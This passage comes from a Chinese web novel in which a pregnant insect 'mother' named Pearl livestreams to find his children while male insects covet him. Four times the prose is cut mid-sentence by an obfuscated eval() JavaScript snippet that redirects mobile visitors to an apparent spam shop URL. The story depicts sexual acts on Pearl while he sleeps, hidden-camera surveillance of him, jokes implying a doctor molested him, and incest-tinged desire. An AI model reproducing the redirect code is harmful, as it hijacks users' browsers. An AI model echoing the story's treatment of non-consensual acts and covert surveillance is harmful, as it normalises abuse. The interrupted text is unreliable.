说得有鼻子有眼的,一大批没见过虫母的、正值壮年的虫子急吼吼涌了进来。 这些新虫子部分是珀尔被掳走之前还在孵化的那批,剩下的是孵化出来还没来得及见到妈咪的幼虫。 而现在,一百年过去了,他们已然成长成自己父亲那样的高大雄虫。但没有母亲的慰籍,只能在书籍和其他劣等雄虫嘴里了解虫母。 这就导致在他们的脑海里,虫母是书籍里纯洁高贵的漂亮妈咪,又是荤话里被高大虫子围着的、跟他们做肤浅粗俗快乐事情的妈妈。 于是听见一点虫母的风声,这些虫子就迫不及待地想用留在虫星的那些残暴劣等成虫的粗劣语言一寸寸抹在妈妈身上,妄图用这些把自己伪装的像成熟的虫子,让虫母多看他们两眼。 【加登:可以吗,给你打赏,让我看看翅膀。】 珀尔抿了抿嘴唇,轻轻摇头,“我不需要打赏,但是……你们可以帮我其他的忙吗?” 【什么忙,我们可以也可以,不可以也可以,总之是可以。】 【不行了,刚刚把我室友萌晕过去一个,救命啊。】 【又晕一个。】 珀尔看了看直播间人数,已经破五位数了,他的手机开始发烫了,但是他很开心,人好多啊,万一他的孩子能看见他、或者这些人有认识他孩子的,说不定能告诉他们。 珀尔不知道自己现在在哪个星球,但是既然有人类,那应该是有渠道可以跟虫族联络的,他在虫星的时候接收过这边的信号。 珀尔思来想去觉得可行,他这才慢吞吞说,“我想找我的孩子们,他们很乖,但是脾气不好。他们很爱我,我也爱他们。” “因为一些变故,我离开了他们好久好久,我好想他们。” “你们可不可以帮帮忙,如果有可以联络到星球1103号的,请帮我转告他们。” 不知道虫族的科技现在发展到什么地步了,但珀尔还在的时候,根据网络定位星球乃至更精确的定位是可以做到的,只要他的孩子知道他在哪个直播间,就一定能找到他。 珀尔说完,弹幕停滞了一会,然后那带着特效的弹幕才慢悠悠出来。 【加登:想找孩子啊,可怜的妈咪,那你可以为了孩子做到什么地步呢。】 珀尔很坚定,“什么都可以。” 他想了想,又补充道,“但是不可以伤害他们。” 虫星已经沸腾了,组织里一直站“妈妈抛弃了他们”那一派系的虫子在这几分钟里倒戈了大半。 珀尔的直播间被投放到虫星每个大型建筑物的显示屏上,所有留在虫星的虫子都能看得见。 加登·欧文在会议室里啧了一声,他的指腹摸索着显示屏上珀尔的脸颊,轻轻呢喃道,“笨蛋妈咪。” 他曾是预备王虫的候选人之一,拥有劣等虫族的血脉,硬生生靠着自己的实力打擂台打了上来,但珀尔没有选他,反而选了一旁已经蝉联王虫五年的戴维德。 戴维德不是个合格的王虫,在他在任期间,虫母离开了虫星。就这一点,就为加登诟病戴维德的事业添砖加瓦了。 加登建立了反王虫组织,虫星的新生虫族基本都是组织的成员,他对外说得冠冕堂皇,但只有他自己知道: ——他做这一切,只是嫉妒戴维德能得到虫母的青睐。 戴维德搞这一出直播的意思他也明白,无非是为了慢慢瓦解他的组 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751282|189997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 织。 但加登非但没有丝毫阻止的意思,反而把珀尔的直播间投向整个虫星。 他实在是,太想珀尔了。 然而就在这时,珀尔发烫的手机终于还是撑不住猛地黑屏、强制关机了。 加登拧起眉心,“戴维德穷成这样了?连个直播间都维持不好。” … 虫星某寝室,几只挤不进直播间的雄虫围在一台通讯仪前看漂亮妈咪,一群年轻气盛的虫子挤得热烘烘的,只能不停地用世俗的话语掩饰自己剧烈跳动的、滚烫的、快要蹦出嗓子眼的心。 “他跟我想象的不一样,但是更好看了。” 一旁的虫子揶揄地怼了这只说话的虫子一下,朝他挤眉弄眼,“那你想的他是什么样,丰满的,屁股大?哈哈哈哈哈。” 虫子面红耳赤,“说什么呢你,我才没有这样想,就是觉得……好乖,好漂亮,跟书上说的不一样,跟那些年长雄虫说的也不一样。” “反正就是,也不知道为什么,我看见他我就喜欢,很温暖,在妈妈孕囊里就是这个感觉。” 刚刚还挤眉弄眼的几个虫子也忍不住轻声跟着臆想。 “确实,他腰好细,看起来不像是能生这么多虫子的虫母,好嫩。” 而这时,唯一苦苦坚持的显示器黑屏了,只有屏幕中心有一行小字。 ——主播“珀尔”已下播。 “靠,谁给妈妈弄的直播设施,拖出去打死。” “这就没了,我才挤进来看见妈妈!” 没有了直播间,但这些虫子仍意犹未尽地谈论着虫母。 “让查尔斯那家伙骗了,他跟我说妈妈特别……还高价卖过我一张照片,不过照片还是很像的。” 这话一出,其他虫子蜂拥而上,把那个私藏相片的虫子挤到角落,七嘴八舌起来。 “太不兄弟了,有好东西不分享是吧。” “翻他衣服,这家伙肯定把照片藏身上了,就他这个扫劲。” 虫子挣扎着阻止,双手不敌众虫,珀尔的照片还是被抢走了。 “让我看看,让我看看。” “我先看,我找到的!” 霍尔·乔在中间做和事佬,“好了好了,大家一起看,别把妈妈的照片撕了。” 一群高大雄虫挤在一起小心翼翼盯着中间的一小块照片看了又看。 那是一张偷拍下来的照片,珀尔的侧脸白皙如玉,洁白柔软的头发被风吹起,他披着毛茸茸的大毯子,正要上车。 可能是相机的声音吸引了珀尔的注意,他轻轻歪过头去看,刚好被记录下来。 这些雄虫大气都不敢喘,生怕惊吓了这相片里漂亮的妈妈。 “……我好想妈妈。” “我也想,妈妈说在找我们,他在蓝星吗,那些废物雄虫还没找到他吗。” “妈妈心里有我们,我好爱他。” * 珀尔看着漆黑一片的手机屏幕,他恹恹垂下眼睛,纯白的睫毛细细密密抖着,“什么嘛,怎么坏了。” 觉得找孩子有希望的妈咪还是拿起手机,打算找人帮他修一修,珀尔悄悄探出头,走廊里没有人。 但下一秒,才挺起胸膛走出家门的笨蛋妈咪迎面撞上一个高大男人,笨蛋妈咪直直栽了过去。 戴维德接住他,被好闻的融融暖香扑了满脸。戴维德眼神晦暗,手指紧紧扣住珀尔好像长胖了一点的腰肢。但戴维德知道,珀尔此时正怀着他的宝宝。 “不好意思,撞到你了。”珀尔赶紧从男人怀里起来,有些抱歉地跟他说话。 戴维德摩挲了一下指尖,“没关系,你要去干什么,看起来很急。” 珀尔掏出手机,“它坏了,我想找人帮我修一下。” “这个我就会修,要不然,我们去你家里吧,方便一点。” 5. 第五章 “你会?”珀尔有些迟疑地看了看身高腿长的男人,看起来好像是挺聪明的样子。 笨蛋妈咪抿了抿嘴唇,忽然想到些什么,他拧起眉心,“这么晚了,你怎么在这。” 戴维德挑起一边眉毛,金属覆面已经摘下来了,那是一张有些冷峻的脸,眼角微微下压,眼睑偏长,黑沉沉的眼瞳里倒映着后退一步的聪明警惕妈咪。 像是大型猎犬一步步把怀着孕的笨兔子往陷阱里逼。 珀尔肚子里的幼卵再次躁动起来,有些凉的卵被妈咪温暖的孕囊裹得也暖和起来。妈咪的小腹鼓起一点,看起来就像是贪嘴吃多了一样。 戴维德的目光一寸一寸舔舐过珀尔的肌肤,最后定在那不太明显的小腹上。 那里,怀着他的种。 这种认知不免让这只全程观看了直播的妒夫王虫心情好了不少,按照惯例,虫母繁育期的第一窝卵都会是王虫的。笨蛋妈咪还很青涩的时候,就是被戴维德破的。 当时青涩小虫母第一次选王虫,雪白的一小团才走出两三步就被一众目光如炬的高大雄虫围在中心。他被信息素熏得差点直接在那里就到达繁育期……是戴维德把他抱出来的。 比珀尔大了六岁的戴维德,看起来是一只成熟可靠的雄虫,很适合当王虫,笨蛋虫母没看见戴维德眼底死死藏住的疯狂和偏执。 理所当然的,第一次繁育期被弄得很惨,第一天就怀上了,那一窝没有其他虫子的卵,两只青涩可怜孕囊里的六枚全是戴维德的,跟它们的父亲一样磨人,青涩的妈咪自己生不出来,卵卡住了。珀尔最后是颤颤巍巍让戴维德抠出来的。 餮足和不满在戴维德眼底揉成一片深黑,他看着眼前仔细护着他的种、却又对他警惕不已的虫母,戴维德深深叹了一口气。 又摆弄起他那副表情,冷峻的男人一下子变得像什么看见妻子出轨仍旧苦苦撑着、只敢在半夜妻子熟睡时问“他对你好吗”的老实人丈夫一样,看起来怪可怜的,“怎么这样想我。” 珀尔是那种一朝被蛇咬,蛇再来还呆愣愣凑过去的笨蛋妈咪,他的鞋尖小心翼翼往前蹭了蹭,“……我就是问问。” 戴维德装模作样叹了一口气,他从自己的外套里掏出一张门卡,跟珀尔的那张一模一样,戴维德走到珀尔旁边那间房间门口。 “滴——” “欢迎回家——” 珀尔这下子完全相信了,有些抱歉地跟戴维德说话,“对不起啊,我误会你了……” “没关系,怀着宝宝的妈咪警惕一点是好事。”戴维德看起来挺善解人意的,珀尔总感觉对方身上有股莫名其妙的熟悉感。 “只是,以后不要这样怀疑我了好不好,我没恶意的。”戴维德微微垂着眼睛。 珀尔跟小鸡啄米一样连连点头,“嗯嗯!那,现在还能帮我修它吗?” “当然可以了。”戴维德笑得温温柔柔的,珀尔觉得他更熟悉了。笨蛋妈咪想了又想,也没想起来,索性直接放弃思考,带着戴维德进自己的房间了。 其实虫母想到了自己的王虫,但也只是一瞬,就立马排除了,他的王虫是个本分守礼的,有雄虫挑衅都不会多说些什么,只是自己忍下来,他怎么可以怀疑自己的王虫呢。 但,如果珀尔狠狠心仔细想一想,就会发现,戴维德刚刚的笑容跟第一次繁育期时王虫说“放心吧妈妈,我只蹭蹭不进去,不会第一天就让妈妈怀上卵的。”时候的笑容一模一样。 虫母亲手把戴维德领进门,像自己跳进恶狼嘴里的笨蛋兔子。珀尔用唯一的一只杯子给戴维德倒了一杯温水。 是很有礼貌的妈咪。但珀尔自己也有私心,递过去的时候心里不停嘀咕:千万不要接,千万不要接,他就是客气客气…… 戴维德守在虫母身边整整六年,哪里能看不出珀尔的心思,他只当不知道,自然地接过唯一的玻璃杯,眼看着就要送到嘴边。 珀尔:“!” 戴维德微微勾起唇,又把杯子放下了,“我们还是先修手机吧,可以给我看看吗。” 珀尔松了一口气,雪白的、毛茸茸的脖领子遮住泛起粉的下巴尖,圆眼放松地半眯着,狭长昳丽的眼尾也跟着微微垂下一点。珀尔高高兴兴拿出手机。 “你看看,要怎么修?” 戴维德知道这手机为什么会突然黑屏,毕竟这本来就是他安排的,是他让雄虫找了一个有故障的手机给了珀尔。 珀尔还抬着脸等他回话。 “嗯……能修好,只是要几个小时才能修好。”戴维德垂着眼睛,“很晚了,你要是等不及可以先睡觉,我修好了就直接回自己的房间,明天你看看哪不行再找我。” 珀尔点点头,还是在旁边用手支着下巴硬生生撑了两个点。怀孕的虫母嗜睡,风尘仆仆赶了大半天的路,又忙活了小半个晚上,早就疲倦的不行。 戴维德看起来正认真地修着手机,但在虫母睡着的瞬间,却瞬间过来这边接住他,把他轻轻放到床上。 戴维德处心积虑混进珀尔的房间,就是要趁对方睡着的时候给他肚子里的幼卵补充来自父亲的信息素。 这批卵最先感受到这个世界是从妈咪温热的孕囊,然后是妈咪带着香味的手和温温柔柔的声音。 从他们有意识到现在,父亲这个角色出现的次数少之又少,这导致本来就独占欲爆棚的虫族更加排斥自己的“父亲”。 在戴维德的信息素释放出的瞬间,这批幼卵就躁动不安地在妈咪温暖的孕囊里轻轻挣动。 睡梦里的珀尔呜咽一声,纤长浓密的睫毛细细密密抖着,又被熟悉的、既是孩子又是配偶的信息素轻轻裹住,这才安心的重新睡去。 戴维德对幼卵的感情并不深,只是此时如果不干预,等日后他…… 戴维德轻轻靠在珀尔怀里,就像是小时候那样。珀尔以为他们的第一次见面是在选王虫的典礼上,但实际上,戴维德早就见过自己将会用生命去深爱的人了。 戴维德是虫族复苏后重新解冻的一批卵,而那个时候,虫母已经衰亡,不知道何时才会重新出现。虫族陷入前所未有的暴虐时代。所有幼虫都是在冰冷混合着血腥味的环境里自己把自己拉扯大的。 直到珀尔重新出现,从虫族诞生开始就只有他一个虫母,反复的、不停的、甚至是本能的重新来到这世界,遇见爱他的、他也爱的孩子。 珀尔没有这些记忆,但虫族却世世代代记载着,所以珀尔并不知道,其实他想让虫族感受的分离,虫族早就感受过几十、几百次。 所有虫子都会为了那还没睁开眼睛就感受过的温暖而疯狂一辈子。 只不过他们改不掉自己刻进基因里的本能,总是惹珀尔生气。 戴维德时日无多,他已经过了雄虫的巅峰期,加上来到蓝星后近乎疯狂的各种战争,他的躯体已经千疮百孔,只能简单维持正常的外壳,内里已经灰白一片。 他跪在地上,轻轻把自己的头放到珀尔手心下,“妈妈,我有点期待,被你生出来的那天,你会不会也这样摸我的头。” 戴维德把一切都替珀尔安排好了,这直播不单单只有让虫星的虫子了解虫母的途径,也是给珀尔留下的、能解决虫族大规模自杀事件的途径。 虫族的虫子太多,但妈妈只有一个,难免有一部分虫子安抚不到,嫉妒让虫子面目全非。这样最好,可以让很多虫子都知道,妈妈是爱他们的,让他们能看见珀尔,就不会因为对方的一滴泪就心甘情愿去死。 这些技术也是戴维德这些年从其他星球上学来的,虫星的科技飞速发展,珀尔会很开心的吧。 但,戴维德把脸埋进珀尔的小腹,妈妈的味道充斥着他的鼻腔,“还是好嫉妒,嫉妒他们年轻力壮,而我一天比一天更加衰老。” 雄虫嫉妒王虫能时时刻刻陪伴在虫母身边,而王虫嫉妒这些雄虫年轻力壮,妈妈的视线总是会被他们吸引走。 戴维德在珀尔怀里自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751283|189997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己安抚了自己一会,才慢吞吞就着珀尔纤细漂亮的手出来了。粘稠的、囤了好久的、信息素浓得冲鼻子的悉数送进珀尔的孕囊。 仅仅这一点还不够,戴维德轻车熟路的拨开珀尔后颈处的白色毛领子,露出一小团粉白色的腺体。 虫母的信息素大部分是从这里散发出来的,小小一只腺体里存满了珀尔的信息素。 戴维德重新把虫族的特征放出来一部分,节肢组成的骨质尾巴狰狞地延伸翘起、轻轻圈在珀尔腰间。尖利修长的虫肢泛着金属般的光点,这是本能般的行为,若是有人在这时凑过来,便会立刻被锋利坚硬、恍若尖刀的虫肢切开。 或许连疼痛都还没感受到,就已经零零碎碎散了一地,往往两只眼球在地上还能对视上。 虫族的舌头柔软灵活,尖长的三角形顶端能卷住虫母的腺体,甚至还能在腺体散发信息素的小口处轻轻探进去一点。 熟睡的虫母颤颤巍巍抖着腰。肚子里的幼卵躁动不安,但也只能眼睁睁看着自己的父亲依偎在妈妈身边。 妈妈…… 与此同时,安全区研究所内,一个戴着金丝眼镜的高大男人慢吞吞摘下口罩和手套,露出一张跟戴维德一模一样的脸。 兰伯特其实并不近视,只是想跟戴维德区分开来。他是珀尔第一窝卵里天赋最好的一只,什么都沾了个最字,本应该是虫母看重的虫子。 但,他的父亲还没死,妈妈的目光始终停留在戴维德身上。他们这些孩子在成年后也参与了王虫的选拔,兰伯特认为自己胜券在握,毕竟他年轻,而且虫族新一代舰队就是他领导着建立的。 没想到妈妈还是选了他的父亲。 兰伯特的薄唇抿成一条直线,他回到自己的房间里,轻轻按了一下遥控器,周围的墙壁瞬间变幻成显示屏,上面都是同一个主角。 ——虫族的珍宝,他的妈妈。 各个角度的珀尔都清清楚楚放映在墙壁上,珀尔的房间里,几枚微弱的红点缓缓闪烁着。 “妈妈,戴维德快死了,你这次,会选我吧。”兰伯特轻轻摸了摸珀尔的投影,久违的感受到一丝母亲的温暖。 “妈妈……” “……好爱你。” …… 珀尔醒来的时候已经是第二天上午九点了,酸软的小腹缓解了不少,虫母碰了碰自己的肚子,幼卵们今天好乖,都没有闹腾他。 手机已经修好了,放在桌子上,旁边压着一张纸条。 ——“我去上班了,早饭在门口保温箱里,醒了记得吃。” 珀尔踩着毛茸茸拖鞋打开门,门外果然有一个箱子,他从那条门缝里探出一只手,轻轻往房间里拽。 头上的呆毛一晃一晃,阳光照过来显得发丝都像是流光溢彩的宝石一样。 暗处观察的几只雄虫贪婪地看着虫母露出来的每一寸皮肤。 一瞬间,全安全区的虫子都能通过这些虫子的眼睛看见珀尔。只有远在虫星的那些虫子链接不上,距离太远了。 【妈妈妈妈妈妈妈妈妈妈妈妈妈妈妈妈……】 【妈妈好乖,自己乖乖拿早餐。】 【妈妈这窝有几枚卵,肚子看起来好小一点。】 【好像只有一只孕囊有卵,另一只是空的,可怜的小孕囊。】 【我还有机会!】 【滚蛋,有机会的是我。】 【啊,妈妈关上门了,还想看妈妈。】 【等等,妈妈一会说不定会开直播。】 【我要提前准备着,上回根本没进去直播间!不知道哪来这么多虫子,虫网差点崩了。】 珀尔吃完早餐,急匆匆就打开了直播,观看人数在那一瞬间激增到五位数。 弹幕疯狂刷过,珀尔看花了眼,他怕手机再坏了,赶紧说道,“大家慢一点刷,我的手机会坏的。” 那个特效用户又来了。 【加登:小妈咪,今天可以看翅膀吗?】 6. 第 6 章 珀尔浅白色的发丝在昏黄的灯光下显现出一种淡淡的金色光晕,纤长浓密的睫毛在灯光映照下,投落淡淡阴影。毛茸茸的脖领子雪白雪白的,轻轻遮住一点精致漂亮的下巴尖。 从直播间里都不停往外透着妈咪味。 珀尔今天穿着一身米白色的休闲套装,舒适的面料能避免磨伤翅膀和尾巴,略长的、搭在雪白后颈上的发丝被甲型圆润的手指轻轻拢起,用带着白色绒球的发圈从侧面束起。 【谁给小妈妈安排的装扮,赏黄金万两。】 【我不行了,萌晕了,谁来救救我,我要染上妈咪病了。】 【上将?您忘记切号了!】 【终于进来了!谁懂啊,挤死了。】 【慢点刷弹幕,没听见他说手机会坏吗,直播再没了就没得看了。】 【“加登”向您投出“火箭”x100】 在一条条弹幕和此起彼伏的礼物特效的哄骗里,珀尔那嫩生生的透明翅膀还是被哄着张开了。 “不用礼物的,可以给你们看。”珀尔半侧过身子,休闲装的外套拉链拉开,露出里面的白色背心,“穿背心就不会磨到翅膀,它们可以从两侧探出来。” 半透明的、有着白色脉络的翅膀从后背缓缓张开。他的翅膀没有飞行的能力,太过脆弱,触碰都会让珀尔抖好久。 虫母的翅膀并不算宽大,每只都只有巴掌大小,跟恶魔的小翅膀形状很像,颜色却是薄薄白白的一层。 白色的脉络就像叶片的叶脉一样,翅膀的边缘处也不锋利。跟雄虫的锋利翅膀不一样,雄虫的翅膀主要是起战斗功能,在战场上可以当成利刃使用,合拢时又坚硬到可以抵挡敌人的攻击。 虫母这对嫩生生的翅膀在哺育期时会通过白色脉络输送蜜汁,在族群规模还没有现在这么大的时候,大部分幼虫都是珀尔喂养的,胸口那一点薄薄的软肉一次只能喂两只幼虫,而其他没有得到母亲抚慰的幼虫就眼巴巴看着他。 珀尔心软,这时就会把一些幼虫放到自己的翅膀周围,让他们舔舐翅膀上的蜜汁。 现在,虫族达到史上从未有过的最大规模,新孵化出来幼虫的餐食就改为由雄虫负责调配出来的营养液。 很多虫子只知道虫母的存在,也清楚虫母的身体构造,这些都是学校里的必修课程。但他们还是第一次真正看见母亲的翅膀。 珀尔不常这样张开翅膀,他只有在繁育期时受不住的时候才会张开翅膀,让伴侣舔舐蜜汁来达到自己短暂休息的目的。 白色小翅膀慢吞吞扇了两下,就娇气的不肯再动。 珀尔在原地转了一圈,给大家全方位展示了一遍。 虫星上的新生代虫子兴奋地不停提问,很多问题都是在虫母构造必修课上学过的,但听妈妈亲口说出来就是感觉不一样。 【翅膀好薄,是不是很容易受伤?】 珀尔凑过来看弹幕,他轻声道,“嗯,比较脆弱,所以平时都收好藏在背后。” 【为什么是白色的,小妈咪好像全身都是白色的。】 “这个,我天生就是这样的,头发、睫毛和眼睛也是白色的哦。” 【翅膀有什么作用呢?】 珀尔莫名感觉这些观众像认真学习的好学生一样问这些问题,隔着屏幕都感觉被好多双好学的眼睛盯住了,他抿了抿嘴唇,将原本就红润的唇瓣摩擦得更艳。 “可以哺育孩子,蜜汁可以顺着脉络流到翅膀边缘上。”虫母在巢穴里是毫不遮挡自己的、赤裸的、展现的,现在分享自己的翅膀也是很专心的。珀尔抬着脸回答弹幕的问题,让众多虫子看得心痒痒的。 珀尔拿起一旁的一小盒粉色膏体,他用指肚挖了一块,轻轻抹到翅膀的边缘上,用指腹上的温度把它化开。 弹幕有虫子问,【这是在干什么,保养自己的小翅膀吗。】 珀尔点点头,“翅膀边缘有一圈白色绒毛,要时常涂一点营养膏,这样它们才会顺滑,不会掉很多毛。” 才到新环境的虫母通常会有几天足不出户,用这几天的时间把新的领地熏染上虫母的信息素。珀尔昨天要修 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751284|189997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手机也只是打算敲一敲邻居的门问问他们会不会。 但就是那么两步路,虫母都要仔细看了外面没有陌生人才敢出门。 正是这样的谨慎,才让虫母在族群弱小的时候慢吞吞发育起来。 为了今天展示翅膀,珀尔昨天在戴维德修手机的时候顺便让他帮忙买营养膏。 虫母在巢穴里的时候,涂翅膀的营养膏都是最好的,到了安全区也只好拜托戴维德替他买一些便宜的。 珀尔低头嗅了嗅指尖上的味道,好奇怪,这里的营养膏跟他在虫星时最喜欢的那个居然是同一个味道。 而且,珀尔摩挲了一下指尖,他的手指刚刚堪堪擦过翅膀根部,指腹上多出一丁点雄虫的信息素。 是之前在巢穴里留下的吗,可是,雄虫的信息素会保留这么长时间吗。 弹幕又有了新的问题,珀尔只好先压下疑惑,心里扎下一根不深不浅的疑问的刺。 【加登:那哺育孩子的时候,翅膀边缘的绒毛会不会湿。】 珀尔有点苦恼,“会的,孩子们那时候很小,有的眼睛都没睁开,他们舔蜜汁的时候会顺嘴把我的绒毛也嗦一遍。” 【把妈咪嗦成芒果核了。】 【妈咪可怜兮兮的!】 【我也想嗦,我小时候都没有这种待遇,我们这边吃的是营养液,特别苦。】 【我们这个区的营养液是酸的。】 特效用户在一众弹幕里显眼得很,【加登:原来是这样啊,懂了,感谢小妈咪的分享。】 珀尔歪了歪头,漂亮的浅金色眼睛亮晶晶的,“为什么要管我叫小妈咪?” 珀尔隐隐有点期待,会不会是他的孩子们看见了。虫母误打误撞对自己恶劣的孩子还是有些了解的。 虫星那边还真是打算再这样逗虫母几天,新生代的虫子喜欢虫母这样直播慢慢让他们了解。年长一点的雄虫则是恶劣着想了一大群花样,想让小妈咪挨个试试。 【加登:笨蛋妈咪,怀着宝宝的肚子都没遮住,大家都看得见。】 7. 第 7 章 “?”珀尔低头看了看,明明是很宽松的衣服,微微鼓起一点的小腹把衣服撑出一点弧度,看起来像是笨蛋妈咪吃撑了。 “很明显吗?”珀尔的外套敞着,很自然地在镜头前侧了侧身子,让大家都能看清楚他丰腴了一点的腰身。“大家观察的好仔细,我确实怀着宝宝,他们还有半个月就会诞生了。” 虫母纯白的发丝柔软、妥帖地垂落颈侧。才给直播间里的观众们展示过的翅膀此时紧紧贴着圆润雪白的手臂,毛茸茸的翅膀边缘勒出一圈软肉。 他这样侧着身子,纤白细瘦的手指轻轻拢在自己的小腹上,露出来的肌肤莹润如暖玉,就连手背上淡蓝脉络的走向都清晰可见。 珀尔的淡金色眼睛垂着,反而显得眼尾更狭长昳丽。纯白的、纤长浓密的睫毛侧面看去像是轻薄美丽的羽扇。 【对妈咪做了不好的事情,对不起妈咪,我忏悔。】 【妈妈不要张嘴,救命啊,说话的时候嘴唇一开一合的,我要昏过去了。】 【我不行了,好涩……】 【谁来救救我,我的妈咪病又犯了!】 【好嫉妒好嫉妒好嫉妒好嫉妒好嫉妒好嫉妒好嫉妒好嫉妒好嫉妒!】 【妈咪怀里一定是香香暖暖的,妈咪我犯错了,让我面壁思过吧。】 【美得你,轮得上你吗。】 弹幕比一开始直播的时候已经慢了很多了,还是让珀尔眼花缭乱,他只看见一屏幕的妈咪。 【加登:单身小妈咪,做过检查吗。】 “当然了,进安全区的时候检查过一次,他们很健康。”珀尔偷偷在自己心里补充上后半句,我也很厉害! 【加登:一个人?】 珀尔点点头,“对啊,给我检查的男医生就住在隔壁。” 【不对这不对,什么医生刚好住隔壁,还是个男的。玛德,不知道我们小妈咪笨笨的吗,被趁机揩油都发现不了。】 【妈妈检查的时候很开心,因为仪器居然不是冰冰凉凉的,而是滚烫的,最后还有东西帮忙冲刷他被检查过的地方,估计是怕有药物残留吧!真是个好医生!】 【我不行了,好贴,感觉妈咪是这种笨笨的妈咪。】 【别把我们妈咪看扁了!我们妈咪是圆圆的笨蛋。】 珀尔认真道,“他真的是很靠谱的医生,昨天晚上手机坏了也是他来我房间里帮我修的。” 【我摊牌了,我真的有点要不中了,心理委员你在哪。】 【没有心理委员,但是有教官和上将的拳头捧油你要不要。】 【还在机甲训练场里的几个已经把机甲打爆了。】 【加登:晚上?你房间?修手机?】 虫母轻轻点头。 【加登:……挺好的。】 珀尔看了看时间,已经十一点了,他朝镜头挥了挥手,“那今天先到这里吧,我要去吃午饭了。” 远在虫星的加登面无表情,修长锋利、仿若尖刀的虫肢“咔擦”一声穿透面前的显示器。那耐用的显示器即使是从中间往四周裂开细细密密的裂纹,却依旧能继续显示着画面。 珀尔的声音依旧很清晰。 “戴维德……”加登下颌绷紧、后槽牙寸寸咬紧。 房间里安静得连针落地都听得清,直到直播关闭,连声音也没了,加登才慢吞吞抽出布满外骨骼的尖利爪尖,细碎锋利的玻璃纤维一丝一毫都没有伤到正处于巅峰期的虫族。 王虫的存在就是能让这些雄虫嫉妒到吐血。尤其是加登这种劣等虫,他们的基因不好,很难让虫母怀卵,自然是更嫉妒那些被妈妈垂怜的虫子。 珀尔还是一只青涩虫母的时候,加登他们这些候选人住在虫母的巢穴附近。在选拔开始之前,珀尔曾召见过几个雄虫。 加登以为自己也有份,于是每天都仔细清洗自己,连虫肢都仔细刷了一遍,把丑陋的、劣等虫才会收不起来的脸侧甲片磨掉。 “最后,也没能被他叫去,我每天都透过门缝看那些虫子欣喜若狂的接到通知,把自己打扮得花枝招展的,不知道要勾搭谁。” 加登站起来,脊柱上凸出的骨刺泛着金属般的光点,他对一旁的雄虫吩咐道,“去申请蓝星基地的通讯请求。我要跟戴维德通话。” “既然妈妈已经找到了,除了发福利外,也应该讨论一下妈妈什么时候回虫星。” 最重要的是,戴维德的身体已经不行了,这消息只在几个备选雄虫里传开。 下一任王虫的选拔,戴维德还是能有一点作用的。 吩咐完,加登就打发走旁边的雄虫,他换了一个新的显示器,找到珀尔的账号,给他私信。 “叮咚~” 一张图片被发送过来,珀尔正慢吞吞吃着面条,他拿过手机,发现是那个特效用户发的私信。 珀尔好奇点开图片,那是星球1103号的通讯方位。 珀尔:“!” “叮咚~” 【加登:妈咪,下一次直播是什么时候呢?】 加登慢悠悠用指节敲了敲桌子,几乎是瞬间,珀尔就给他发了回信。 【珀尔:明天下午哦~】 加登仿佛透过屏幕看见另一边眼睛亮晶晶的虫母,他的指尖莫名有些痒,想捻一捻妈咪的孕囊小口。 “叮咚~” 【加登:发一次星际通讯很贵的妈咪。】 【加登:看在这么贵的份上,可以让我点菜吗?】 【加登:想看妈咪穿我寄的衣服玩这个网络游戏。】 珀尔点开看了看,是一款很简单的模拟器游戏,随机身份,最终目标是活下去并且繁衍出稳定庞大的族群。 “看起来好像,挺简单的。”游戏废柴珀尔还是谨慎地问道,“输了会有什么惩罚吗?” 【加登:结束一局游戏会有两个惩罚选项供观众选择。如果妈咪赢了,会有奖励积分掉落。妈咪的积分够发一次星际通讯后,我就会向星球1103号发出通讯。】 【加登:只是很简单的游戏,妈咪应该不会拒绝的吧。】 珀尔想了想,好像现在也没什么其他的法子,大不了他到时候 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751285|189997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一边玩这个游戏一边再找找其他的办法吧。 珀尔答应了。 吃完饭后,珀尔收拾了几条干净毛巾和沐浴露洗发膏什么的,他打算去洗澡。 这栋居民楼里的房间没有单独配备淋浴间,只有走廊尽头有一间公用的淋浴间。珀尔观察了一天,中午这个时间短人比较少。 